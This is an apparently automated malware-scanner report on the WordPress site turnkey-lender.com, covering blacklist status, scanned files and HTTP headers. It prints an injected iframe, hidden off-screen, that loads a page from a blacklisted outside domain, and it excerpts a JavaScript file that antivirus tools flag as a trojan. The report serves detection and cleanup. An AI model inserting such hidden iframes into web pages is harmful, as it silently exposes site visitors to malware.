New scan:

Malware Scanner report for turnkey-lender.com

Malicious/Suspicious/Total urls checked
2/0/15
2 pages have malicious code. See details below
Blacklists
Found
The website is marked by Yandex as suspicious.

The website "turnkey-lender.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
1/0/1
1 malicious iframe found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=turnkey-lender.com

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://turnkey-lender.com/

Result: The website is marked by Yandex as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://turnkey-lender.com/
200 OK
Content-Length: 39174
Content-Type: text/html
malicious
Page code contains blacklisted domain: capemadefieldguide.org

<!DOCTYPE html>
<!--[if lt IE 7 ]><html class="ie ie6" lang="en-US"> <![endif]-->
<!--[if IE 7 ]><html class="ie ie7" lang="en-US"> <![endif]-->
<!--[if IE 8 ]><html class="ie ie8" lang="en-US"> <![endif]-->
<!--[if IE 9 ]><html class="ie ie9" lang="en-US"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--><html lang="en-US"> <!--<![endif
...[4467 bytes skipped]...

Malicious iFrame found.
size: 443x66     
src: http://capemadefieldguide.org/ram.html
This URL is marked by Yandex as suspicious

<iframe src="http://capemadefieldguide.org/ram.html" width="443" height="66" style="position:absolute;left:-77721px;">

http://turnkey-lender.com/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
200 OK
Content-Length: 94840
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/plugins/wordpress-popup/popoverincludes/js/popover-load.js?ver=3.8
200 OK
Content-Length: 3719
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-includes/js/comment-reply.min.js?ver=3.8
200 OK
Content-Length: 757
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/plugins/fancybox-for-wordpress/fancybox/jquery.fancybox.js?ver=1.3.4
200 OK
Content-Length: 15667
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
200 OK
Content-Length: 7199
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-includes/js/swfobject.js?ver=2.2-20120417
200 OK
Content-Length: 10231
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
200 OK
Content-Length: 12314
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
200 OK
Content-Length: 1078
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
200 OK
Content-Length: 3307
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
200 OK
Content-Length: 7118
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
200 OK
Content-Length: 28756
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.0
200 OK
Content-Length: 6252
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs
... 3196 bytes are skipped ...
stislide=function(a){if("string"===typeof a){var b=Array.prototype.slice.call(arguments,1);this.each(function(){var g=c.data(this,"elastislide");g?!c.isFunction(g[a])||"_"===a.charAt(0)?m("no such method '"+a+"' for elastislide instance"):g[a].apply(g,b):m("cannot call methods on elastislide prior to initialization; attempted to call method '"+a+"'")})}else this.each(function(){c.data(this,"elastislide")||c.data(this,"elastislide",
new c.elastislide(a,this))});return this}})(window,jQuery);

Antivirus reports:

Emsisoft
Trojan.Generic.8598541 (B)

http://turnkey-lender.com/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
200 OK
Content-Length: 17219
Content-Type: text/javascript
clean
http://turnkey-lender.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.50.0-2014.02.05
200 OK
Content-Length: 16305
Content-Type: text/javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: turnkey-lender.com

Result:
HTTP/1.1 200 OK
Cache-Control: max-age=172800
Connection: close
Date: Fri, 06 Mar 2015 07:25:09 GMT
Server: Apache/2.2.15 (CentOS)
Vary: User-Agent
Content-Encoding: none
Content-Type: text/html; charset=UTF-8
Expires: Sun, 08 Mar 2015 07:25:09 GMT
Link: <http://turnkey-lender.com/?p=203>; rel=shortlink
X-Pingback: http://turnkey-lender.com/xmlrpc.php
X-Powered-By: PHP/5.3.28
Second query (visit from search engine):
GET / HTTP/1.1
Host: turnkey-lender.com
Referer: http://www.google.com/search?q=turnkey-lender.com

Result:
The result is similar to the first query. There are no suspicious redirects found.